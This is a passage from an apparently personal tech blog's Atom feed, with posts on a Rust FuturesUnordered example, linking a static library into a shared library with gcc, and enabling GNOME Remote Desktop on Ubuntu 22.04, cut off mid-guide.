&lt;p&gt;在 Docker 中，macvlan 只支持 bridge 模式。&lt;&#x2F;p&gt;
&lt;p&gt;相同 macvlan 可以通信，不同 macvlan 二层无法通信，可以借助三层路由完成通信。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>FuturesUnordered: An Efficient Way to Manage Multiple Futures in Rust</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/futuresunordered-an-efficient-way-to-manage-multiple-futures-in-rust/"/>
        <id>https://vercel.juzhong.asia/obsidian/futuresunordered-an-efficient-way-to-manage-multiple-futures-in-rust/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/futuresunordered-an-efficient-way-to-manage-multiple-futures-in-rust/">&lt;h1 id=&quot;futuresunordered-an-efficient-way-to-manage-multiple-futures-in-rust&quot;&gt;FuturesUnordered: An Efficient Way to Manage Multiple Futures in Rust&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;futuresunordered-is-the-life-of-the-async-party&quot;&gt;&lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; is the life of the async party.&lt;&#x2F;h2&gt;
&lt;p&gt;In this post, we’re going to explore &lt;code&gt;futures::stream::FuturesUnordered&lt;&#x2F;code&gt;, a mighty and efficient tool for juggling multiple asynchronous tasks concurrently. This utility allows us to poll multiple futures in a non-blocking manner, automatically handling the completion of individual tasks and yielding their results as they become available.&lt;&#x2F;p&gt;
&lt;p&gt;Let’s create a few asynchronous functions that simulate different tasks and use &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; to run them concurrently. First, add the required dependencies to your &lt;code&gt;Cargo.toml&lt;&#x2F;code&gt; file:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[dependencies]
tokio = { version = &amp;quot;1.0&amp;quot;, features = [&amp;quot;full&amp;quot;] }
futures = &amp;quot;0.3&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Next, create the asynchronous functions:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;use std::time::Duration;
use tokio::time::sleep;&amp;#x2F;&amp;#x2F; Define the async functions that return a String.
async fn task_one() -&amp;gt; String {
    sleep(Duration::from_secs(3)).await;
    &amp;quot;Task one completed&amp;quot;.to_owned()
}
async fn task_two() -&amp;gt; String {
    sleep(Duration::from_secs(1)).await;
    &amp;quot;Task two completed&amp;quot;.to_owned()
}
async fn task_three() -&amp;gt; String {
    sleep(Duration::from_secs(2)).await;
    &amp;quot;Task three completed&amp;quot;.to_owned()
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We defined three asynchronous functions &lt;code&gt;task_one&lt;&#x2F;code&gt;, &lt;code&gt;task_two&lt;&#x2F;code&gt;, and &lt;code&gt;task_three&lt;&#x2F;code&gt;, each of which simulates a task with varying durations using &lt;code&gt;tokio::time::sleep&lt;&#x2F;code&gt;. Now, we&#x27;ll use &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; to run these tasks concurrently:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;use futures::stream::FuturesUnordered;
use futures::StreamExt;
use std::pin::Pin;
use std::future::Future;#[tokio::main]
async fn main() {
    &amp;#x2F;&amp;#x2F; Create a FuturesUnordered struct with the same type for all futures: Box&amp;lt;dyn Future&amp;lt;Output = String&amp;gt;&amp;gt;.
    let mut tasks = FuturesUnordered::&amp;lt;Pin&amp;lt;Box&amp;lt;dyn Future&amp;lt;Output = String&amp;gt;&amp;gt;&amp;gt;&amp;gt;::new();
    &amp;#x2F;&amp;#x2F; Use Box::pin to create a pinned, heap-allocated version of each future.
    &amp;#x2F;&amp;#x2F; This ensures that the memory location of the future does not change once it starts executing.
    tasks.push(Box::pin(task_one()));
    tasks.push(Box::pin(task_two()));
    tasks.push(Box::pin(task_three()));
    while let Some(result) = tasks.next().await {
        println!(&amp;quot;{}&amp;quot;, result);
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;When you run this example, you’ll see that the tasks are executed concurrently, and their results are printed as they complete. The output may vary in order, as it depends on the completion times of each task:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Task two completed
Task three completed
Task one completed
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;In this example, we defined three asynchronous functions &lt;code&gt;task_one&lt;&#x2F;code&gt;, &lt;code&gt;task_two&lt;&#x2F;code&gt;, and &lt;code&gt;task_three&lt;&#x2F;code&gt;, each of which simulates a task with varying durations using &lt;code&gt;tokio::time::sleep&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;We created a &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; instance called &lt;code&gt;tasks&lt;&#x2F;code&gt; and pushed our three tasks into it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-does-it-work&quot;&gt;How does it work?&lt;&#x2F;h2&gt;
&lt;p&gt;The theory behind &lt;code&gt;futures::stream::FuturesUnordered&lt;&#x2F;code&gt; lies in its implementation, which combines efficient task management and Rust&#x27;s asynchronous programming model. Here&#x27;s an overview of how it works under the hood:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; is a data structure that holds a set of futures. Internally, it maintains two linked lists of futures — one for futures that are ready to be polled and another for futures that are not yet ready.&lt;&#x2F;li&gt;
&lt;li&gt;When you add a future to &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; using &lt;code&gt;push()&lt;&#x2F;code&gt;, it is initially placed in the list of not-ready futures. The future is then registered with an async runtime to be notified when it&#x27;s ready to make progress (i.e. when it&#x27;s ready to be polled).&lt;&#x2F;li&gt;
&lt;li&gt;When a future becomes ready, it’s moved from the not-ready list to the ready list. This happens as a result of the waker associated with the future being notified by the async runtime.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; struct itself implements the &lt;code&gt;Stream&lt;&#x2F;code&gt; trait. When you call &lt;code&gt;next()&lt;&#x2F;code&gt; on a &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; instance, it polls the futures in the ready list.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;code&gt;next().await&lt;&#x2F;code&gt; call will resolve to a completed future from the ready list when one is available. If there are no ready futures, it will asynchronously wait until a future becomes ready.&lt;&#x2F;li&gt;
&lt;li&gt;When a future is polled and completed, it’s removed from the ready list, and the result is returned by &lt;code&gt;next().await&lt;&#x2F;code&gt;. If the future is not completed, it remains on the ready list, and another future may be polled in the meantime. This process ensures that &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; efficiently handles multiple futures concurrently, leveraging the available resources and avoiding blocking.&lt;&#x2F;li&gt;
&lt;li&gt;If a future is canceled or dropped, it will be removed from its respective list (ready or not ready), ensuring that any resources associated with the future are freed.&lt;&#x2F;li&gt;
&lt;li&gt;The &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; stream continues to return values as long as there are futures in the ready or not-ready lists. Once all futures have been completed or canceled, the &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; stream will return &lt;code&gt;None&lt;&#x2F;code&gt;, indicating that the stream has ended.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;end&quot;&gt;End&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; is the life of the async party. It makes sure no future is left behind, and every future gets its moment in the spotlight when the time is right.&lt;&#x2F;p&gt;
&lt;p&gt;We’ve seen how &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt; maintains two lists, one for the futures that are ready to be polled, and another for those still waiting for their time.&lt;&#x2F;p&gt;
&lt;p&gt;Utilizing the capabilities of &lt;code&gt;FuturesUnordered&lt;&#x2F;code&gt;, Rust applications can achieve improved performance, effectively manage concurrency, and maximize resource utilization. It is essential to acknowledge the significance of this remarkable tool and recognize that asynchronous programming in Rust can be both efficient and rewarding.&lt;&#x2F;p&gt;
&lt;p&gt;Happy coding!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How can I link a static library to a dynamic library?</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/how-can-i-link-a-static-library-to-a-dynamic-library/"/>
        <id>https://vercel.juzhong.asia/obsidian/how-can-i-link-a-static-library-to-a-dynamic-library/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/how-can-i-link-a-static-library-to-a-dynamic-library/">&lt;h1 id=&quot;how-can-i-link-a-static-library-to-a-dynamic-library&quot;&gt;How can I link a static library to a dynamic library?&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.ramdoot.in&#x2F;how-can-i-link-a-static-library-to-a-dynamic-library-e1f25c8095ef&quot;&gt;https:&#x2F;&#x2F;blog.ramdoot.in&#x2F;how-can-i-link-a-static-library-to-a-dynamic-library-e1f25c8095ef&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;how-can-i-link-a-static-library-to-a-dynamic-library-1&quot;&gt;How can I link a static library to a dynamic library?&lt;&#x2F;h2&gt;
&lt;p&gt;Very often, you get a static library from some other source, which you need to use for your purposes. What if you finally are working towards creation of a dynamic library, which uses symbols (or functions) from the static library? How do you “link” the symbols in the static library to your dynamic library so that there will be no “undefined” symbols at runtime? This article helps to bust this problem.&lt;&#x2F;p&gt;
&lt;p&gt;Ok, first the correction. There is nothing like “linking a static library to dynamic library”.&lt;&#x2F;p&gt;
&lt;p&gt;“Linking” is a process of completing the “symbol table” present in every executable or a shared library (see “&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.ramdoot.in&#x2F;linkers-and-symbol-tables-40f85f6df3c9&quot;&gt;Linkers and symbol tables&lt;&#x2F;a&gt;”). When you want to “link a static library with dynamic library”, you really want to include the symbols defined in the static library as a part of the dynamic library, so that the run-time linker gets the symbols when it is loading the dynamic library.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bitbucket.org&#x2F;arvindd&#x2F;cpusched&quot;&gt;Cpusched&lt;&#x2F;a&gt; uses this concept to include various commonly used static libraries (like &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bitbucket.org&#x2F;arvindd&#x2F;libfifo&quot;&gt;libfifo&lt;&#x2F;a&gt;) to scheduling algorithms which are created as dynamic libraries that will be loaded by &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bitbucket.org&#x2F;arvindd&#x2F;cpusched&quot;&gt;Cpusched &lt;&#x2F;a&gt;when selected.&lt;&#x2F;p&gt;
&lt;p&gt;Now, for a mini-tutorial that drills this whole concept:&lt;&#x2F;p&gt;
&lt;p&gt;We will need three files for our tutorial. Quickly create these files:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;file1.c&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

void func1();
extern void func2();

void func1()
{
 printf(“func1n”);
}

int main(void)
{
 func1();
 func2();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;file2.c&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

void func2()
{
 printf(“func2n”);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;em&gt;file3.c&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

void func3()
{
 printf(“Function that is never called.n”);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, lets begin the creation of dynamic library that includes all the symbols from a static library. We shall put symbols in &lt;code&gt;file1.c&lt;&#x2F;code&gt; and &lt;code&gt;file2.c&lt;&#x2F;code&gt; in a static library, and then finally create a dynamic library that includes all these symbols, and new symbols from &lt;code&gt;file3.c&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;For this to happen, first create the static library with an option that makes the compiler generate “Position Independent Code” for every object that is archived as a part of the static library. This is required, because, a dynamic library, by its definition, is a “shared library” — which means it is relocatable. In order to have object files in the static library packed within the dynamic library, it is important these objects are also relocatable — i.e., made position independent.&lt;&#x2F;p&gt;
&lt;p&gt;In GCC, this is done with the &lt;code&gt;-fPIC&lt;&#x2F;code&gt; option:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gcc -c -fPIC file1.c
gcc -c -fPIC file2.c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This creates both &lt;code&gt;file1.o&lt;&#x2F;code&gt; and &lt;code&gt;file2.o&lt;&#x2F;code&gt; with position independent code. Note that this depends on the platform in which it is used: for example, when gcc is Linux to create an ELF object, on default (i.e., without &lt;code&gt;-fPIC&lt;&#x2F;code&gt;), the code generated is “static” in nature — hence &lt;code&gt;-fPIC&lt;&#x2F;code&gt; forces it to generate PIC code. However, certain platforms (like Cygwin on Windows) always generate PIC code for objects, regardless of whether &lt;code&gt;-fPIC&lt;&#x2F;code&gt; is used or not.&lt;&#x2F;p&gt;
&lt;p&gt;Next, archive these objects to get a static library:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ar -rv libfiles.a file1.o file2.o
ranlib libfiles.a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;ranlib&lt;&#x2F;code&gt; is optional: it just generates an index of symbols in the archive and puts it in the archive — this helps speed up the process of linking. For large libraries, this becomes essential rather an optional.&lt;&#x2F;p&gt;
&lt;p&gt;“&lt;code&gt;libfiles.a&lt;&#x2F;code&gt;” now contains the files &lt;code&gt;file1.o&lt;&#x2F;code&gt; and &lt;code&gt;file2.o&lt;&#x2F;code&gt; — both generated as PIC.
Now, generate the final dynamic library, which includes another file. First, create the object file of the new file as before:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gcc -c -fPIC file3.c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Finally, create the dynamic library, which contains the new file (&lt;code&gt;file3.o&lt;&#x2F;code&gt;), along with the other files in &lt;code&gt;libfiles.a&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gcc -o libfiledyn.so -Wl, — whole-archive libfiles.a -Wl, — no-whole-archive -shared file3.o
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;-Wl&lt;&#x2F;code&gt; options to gcc are directly passed to the linker (gcc invokes the linker “&lt;code&gt;ld&lt;&#x2F;code&gt;” as the last step before creation of an executable or a shared library). The linker gets the option “&lt;code&gt;–whole-archive&lt;&#x2F;code&gt;” — this option instructs the linker to “extract” the option argument (in this case, &lt;code&gt;libfiles.a&lt;&#x2F;code&gt;) so that all the object files in the archive (&lt;code&gt;file1.o&lt;&#x2F;code&gt; and &lt;code&gt;file2.o&lt;&#x2F;code&gt;) are individually added to the link command line (equivalent to actually having them on the command line separately); the &lt;code&gt;–no-whole-archive&lt;&#x2F;code&gt; reverses this behaviour.&lt;&#x2F;p&gt;
&lt;p&gt;Both &lt;code&gt;–whole-archive&lt;&#x2F;code&gt; and &lt;code&gt;–no-whole-archive&lt;&#x2F;code&gt; are needed because the linker extracts all the archives that are present in-between these options.&lt;&#x2F;p&gt;
&lt;p&gt;That’s it! Now, &lt;code&gt;libfiledyn.so&lt;&#x2F;code&gt; contains also the contents of &lt;code&gt;libfiles.a&lt;&#x2F;code&gt; — and can be then used independently.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>How to Enable Remote Desktop in Ubuntu 22.04 | Losst</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/how-to-enable-remote-desktop-in-ubuntu-22.04-losst/"/>
        <id>https://vercel.juzhong.asia/obsidian/how-to-enable-remote-desktop-in-ubuntu-22.04-losst/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/how-to-enable-remote-desktop-in-ubuntu-22.04-losst/">&lt;h1 id=&quot;how-to-enable-remote-desktop-in-ubuntu-22-04-losst&quot;&gt;How to Enable Remote Desktop in Ubuntu 22.04 | Losst&lt;&#x2F;h1&gt;
&lt;p&gt;The remote desktop feature allows you to connect and control your PC remotely. For example, you can connect to your work PC when you are home, or you can connect to a remote work station that is available only in your work network.&lt;&#x2F;p&gt;
&lt;p&gt;In this article, I will show how to enable remote desktop in Ubuntu 22.04, 23.04, or 23.10. The current remote desktop implementation has some limitations due to Wayland, but it is totally usable.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-do-you-need-to-know&quot;&gt;What do you Need to Know?&lt;&#x2F;h2&gt;
&lt;p&gt;Historically, there are two most popular remote desktop protocols: VNC and RDP.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;VNC&lt;&#x2F;strong&gt; stands for Virtual Network Computing. This technology was created by Olivetti &amp;amp; Oracle Research Lab in 1999, and the source code is available under GPL license. It is supported by all modern operating systems.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;RDP&lt;&#x2F;strong&gt; stands for Remote Desktop Protocol. This is a proprietary protocol that was developed by PictureTel in 1998 and then bought and popularized by Microsoft in the Windows OS. Meanwhile, there is also a free and open-source implementation of the RDP protocol that is actively maintained and has the name FreeRDP.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Ubuntu has a few different tools that implement these protocols, like x11vnc, realvnc, xrdp, etc. All those servers and clients work with Xorg. However, nowadays most distributions are switching to the Wayland display server protocol instead of Xorg. This is a new protocol with a different architecture, so most of the Xorg tools are not compatible with Wayland.&lt;&#x2F;p&gt;
&lt;p&gt;The only way to use remote desktop in Ubuntu and Wayland through local network at the moment of writing is through the &lt;strong&gt;Gnome Remote Desktop&lt;&#x2F;strong&gt; service, or&lt;strong&gt;G-R-D&lt;&#x2F;strong&gt;. The abbreviation by first letter of each word in a service name is widely used by GNOME developers, and I will use it in this article. This service allows you to share your screen via the RDP protocol using the FreeRDP backend. It does not support all features that were available in deprecated tools, but it is still actively developed.&lt;&#x2F;p&gt;
&lt;p&gt;For example, it supports connecting only to existing sessions and does not support the VNC protocol. The VNC protocol mark as deprecated and, there is no option to enable it in the GUI or in the command line since Ubuntu 22.10. However, this tool is actively maintained, and sooner or later it will be able to create new sessions. You can monitor the state of the new sessions creation feature in this &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.gnome.org&#x2F;GNOME&#x2F;gnome-remote-desktop&#x2F;-&#x2F;issues&#x2F;92&quot;&gt;issue&lt;&#x2F;a&gt;. The VNC feature seems to not be supported at all. You can read discussion about it &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bugs.launchpad.net&#x2F;ubuntu&#x2F;+source&#x2F;gnome-control-center&#x2F;+bug&#x2F;1987159&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Anyway, this service is provided natively in GNOME, so you don&#x27;t need to install additional tools, and you can access the Ubuntu desktop remotely from Windows as well as from Linux since the service uses the RDP protocol that is compatible with Microsoft RDP.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-to-enable-remote-desktop-in-ubuntu-22-04-gui&quot;&gt;How to Enable Remote Desktop in Ubuntu 22.04 GUI&lt;&#x2F;h2&gt;
&lt;p&gt;You can manage remote desktop settings using the Ubuntu Settings application or the grdctl tool on the command line. However, you would better perform the first enabling using the GUI, because it is necessary to create keys for FreeRDP, and it is much easier in the GUI than in the command line.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-enable-remote-desktop&quot;&gt;1. Enable Remote Desktop&lt;&#x2F;h3&gt;
&lt;p&gt;Open &lt;strong&gt;Settings&lt;&#x2F;strong&gt; -&amp;gt;&lt;strong&gt;Sharing&lt;&#x2F;strong&gt; -&amp;gt;&lt;strong&gt;Remote Desktop&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;ubuntu-remote-desktop-settings.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And then enable &lt;strong&gt;Remote Desktop&lt;&#x2F;strong&gt; and&lt;strong&gt;Remote Control&lt;&#x2F;strong&gt; switches:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;ubuntu-remote-desktop-enable.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the &lt;strong&gt;Authentication&lt;&#x2F;strong&gt; section, you can view or change your&lt;strong&gt;username&lt;&#x2F;strong&gt; and&lt;strong&gt;password&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;gnome-remote-desktop-settings.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-check-service-status&quot;&gt;2. Check Service Status&lt;&#x2F;h3&gt;
&lt;p&gt;After that, you can ensure that &lt;strong&gt;gnome-remote-desktop&lt;&#x2F;strong&gt; service is running using the following command:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;systemctl status --user gnome-remote-desktop&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 终端执行 systemctl status --user gnome-remote-desktop 的输出：服务已加载（gnome-remote-desktop.service，enabled），状态 active (running)（自 2023-12-29 19:48 起），Main PID 2309，内存 15.4M，日志显示 Starting&#x2F;Started GNOME Remote Desktop 与 RDP server started，说明服务启动正常。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;And then, ensure that the service is waiting for connections on port 3389:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ss -tulpn | grep 3389&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;ss-tulpn-port-3389.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-install-the-allow-locked-remote-desktop-extension&quot;&gt;3. Install the Allow Locked Remote Desktop Extension&lt;&#x2F;h3&gt;
&lt;p&gt;If the session is locked, you will not be able to connect to it. To fix this, you can install &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;extensions.gnome.org&#x2F;extension&#x2F;4338&#x2F;allow-locked-remote-desktop&#x2F;&quot;&gt;Allow Locked Remote Desktop&lt;&#x2F;a&gt; extension.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;allow-locked-remote-desktop-extension.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-enable-auto-login&quot;&gt;4. Enable Auto Login&lt;&#x2F;h3&gt;
&lt;p&gt;You will not be able to login remotely if there are no active user sessions. Until this feature arrives in Gnome, all you can do is enable auto login. Open the &lt;strong&gt;Settings&lt;&#x2F;strong&gt; app, go to the&lt;strong&gt;Users&lt;&#x2F;strong&gt; section, and click&lt;strong&gt;Unlock&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;ubuntu-users-unlock.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then enter your password and turn on the &lt;strong&gt;Automatic login&lt;&#x2F;strong&gt; switch:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;gnome-enable-automatic-login.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;5-set-blank-password-for-keyring&quot;&gt;5. Set Blank Password for Keyring&lt;&#x2F;h3&gt;
&lt;p&gt;Gnome Remote Desktop stores login credentials in GNOME Keyring. If you have autologin enabled the keyring will not be unlocked by default, credentials will not be available, so G-R-D will not be able to accept connections. Open main menu, then run &lt;strong&gt;SeaHourse&lt;&#x2F;strong&gt; or&lt;strong&gt;Passwords and Keys&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;seahorse-keyring-password.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Here right-click on &lt;strong&gt;Login&lt;&#x2F;strong&gt; item and choose&lt;strong&gt;Change Password&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;seahorse-keyring-change-password.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Then enter the current password:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;keyring-blank-password.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In next form simply press &lt;strong&gt;Enter&lt;&#x2F;strong&gt; to leave a new password blank:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;remote-desktop-keyring-password.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Confirm the action, and then repeat the same for &lt;strong&gt;Default Keyring&lt;&#x2F;strong&gt; item if you have one. Now, you can connect to your PC from a remote PC using the login and password.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-change-password-in-command-line&quot;&gt;6. Change Password in Command Line&lt;&#x2F;h3&gt;
&lt;p&gt;A password for the remote desktop is created randomly. It is very convenient if you want to provide someone access to your computer to help you solve some issue, etc. But if you want to use the remote desktop feature to access your remote server, you need to be able to change the password in the command line. And that is possible using the &lt;strong&gt;grdctl&lt;&#x2F;strong&gt; command. The command has the following syntax:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl options command&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;For example, you can get the current status using the status command:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl status&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To view your current username and password run &lt;strong&gt;grdctl&lt;&#x2F;strong&gt; the with**--show credentials**option:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl status --show-credentials&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;grdctl-status-show-credentials.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Also, you can set the password using &lt;strong&gt;grdctl&lt;&#x2F;strong&gt; through SSH. For example:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;grdctl rdp set-credentials losst new_password&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ubuntu-remote-desktop&#x2F;grdctl-rdp-set-credentials.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After this, you can connect remotely using the password  &lt;strong&gt;&quot;new_password&quot;&lt;&#x2F;strong&gt; .&lt;&#x2F;p&gt;
&lt;h2 id=&quot;how-to-enable-gnome-remote-desktop-in-command-line-alternative-way&quot;&gt;How to Enable Gnome Remote Desktop in Command Line (alternative way)&lt;&#x2F;h2&gt;
